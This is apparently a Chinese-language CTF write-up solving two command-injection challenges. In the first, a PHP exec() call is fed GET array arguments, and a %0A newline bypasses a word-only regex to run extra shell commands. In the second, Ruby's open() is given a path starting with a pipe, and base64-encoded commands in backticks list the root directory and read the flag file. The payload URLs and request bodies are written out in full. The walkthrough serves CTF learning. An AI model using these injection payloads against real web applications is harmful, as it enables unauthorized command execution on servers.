一.代码分析

  1. <?php
  2. highlight_file(__file__); //高亮显示
  3. $dir = 'sandbox' . $_SERVER['REMOTE_ADDR'];
  4. mkdir($dir);
  5. if(!file_exists($dir))
  6. mkdir($dir);
  7. chdir($dir);
  8. $args = $_GET['args'];
  9. for ($i=0; $i<count($args); $i++) {
  10. if (!preg_match('/^\w+$/', $args[$i]))
  11. exit();
  12. }
  13. exec("/bin/true" . implode("", $args));
  14. ?>

代码分析:在目录sandbox下+ ,新建以地址命名的目录

$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];   //设定sandbox为目录,以IP地址对应的目录的路径
    if(!file_exists($dir))                                //判断是否存在这么一个路径
        mkdir($dir);                                                //不存在则创建
    chdir($dir);                                                    //存在则更改当前目录

代码分析:接受GET方式提交参数args,匹配数组中每一项,是否只由数字,字母,下划线组成,最后执行/bin/true命令,并且拼接args参数

    $args = $_GET['args'];                              //接收GET方式
    for ($i=0; $i<count($args); $i++) {     //对args接收的每一项进行遍历
        if (!preg_match('/^\w+$/', $args[$i])) //判断通过preg_match正则匹配每一项
            exit();                                                        //不是数字,字母下划线执行exit退出
        }                    
        exec("/bin/true" . implode(" ", $args)); //匹配成功执行/bin/true/(不执行任何内容),通过implode修改例:args = [1,2,3]>>/bin/true/ 1 2 3
                                                                                        // 没有空格>>/bin/ture1 2 3

image.png
通过遍历发现正则表达不会匹配\n
1\n2 3
2 3
/bin/true
123

linux接受到命令之后会将命令拆分成两条执行

1.根据循环遍历代码: $i=0;$i<count($args);$i++,可知$args是一个数组
2.根据匹配代码: preg_match(‘/^\w+$/‘,$args[$i]),可知$args中每一项必须只能由数字、字母、下划线组成,必须绕过
3.根据执行代码implode(“ “,$args)可知$args中每一项都使用” “空格分割,符合执行多条命令的条件

题目分析
命令换行
两条命令执行,需要分割,否则系统无法识别,
\n>>url编码%0a,并且%0a也会绕过匹配代码
访问UR:http//ip/?args[]=a%0A&args[]=touch&args[]=abc,相当于执行以下shell命令

/bin/true a
touch abc

此时在IP地址命名的目录下,新建了一个名为abc的文件



二.PNG图片转换器

linux中的``反引号的作用

凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,就可以得到我们反引号的输出,比如我们输入命令:
aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMTM2MzQ3OC8yMDIwMDkvMTM2MzQ3OC0yMDIwMDkwNTA4NDUyMDEwOC0xNjMyMjQxOTM3LnBuZw.png

linux中的|管道符的作用

| 管道符的作用是 把 管道符左边的的输出 当做右边命令后面待处理的结果 如

ls -lha ~ | more|grep a >haha.txt            # 将查询到的结果输出到haha.txt中

image.png
app.rb 环境源码
image.png
在convert中可以发现file.open漏洞可以利用

如果+path+以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取

image.png
我们上传一个PNG图片,点击upload
image.png
并返回了base64加密后的png文件名。应该是在后台存储的文件名。
再进行转换时,会将读取到的图片文件用base64加密后输出。

  res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"

既然能够读取文件,那么我们就想办法将shell命令写入图片中,再加上管道符,然后再转换应该就能执行。
使用burpsuite进行抓包。
image.png
抓到一个转换图片的包。将其发送到重放模块进行改写。
因为源文件对.. / 符号进行了过滤,因此要对命令进行base64加密。以及要求文件后缀名是.png。image.png
因为不知道当前目录 所以使用 ls / 查询根目录下的所有文件
image.png

file=| `echo bHMgLw== | base64 -d` > 79d8fb5e85b87224e3e0aabbf1bf4212.png

管道符 | 引导 shell命令 ,并用``反引号
意为先进行反引号内的base64解密,再将解密后的命令输出。并将输出的结果重定向到上传好的图片文件中。
image.png
执行之后再查找原来的图片
image.png
会返回加密的base64 拿去解密得到
image.png
看到了flag_6677目录,查看flag_6677文件 因为在根目录所以cat /flag_6677
image.png

file=| `echo Y2F0IC9mbGFnXzY2Nzc= | base64 -d` > 79d8fb5e85b87224e3e0aabbf1bf4212.png

image.png
QQ浏览器截图20211112100754.png
QQ浏览器截图20211112100807.png
解密base64,得到flag。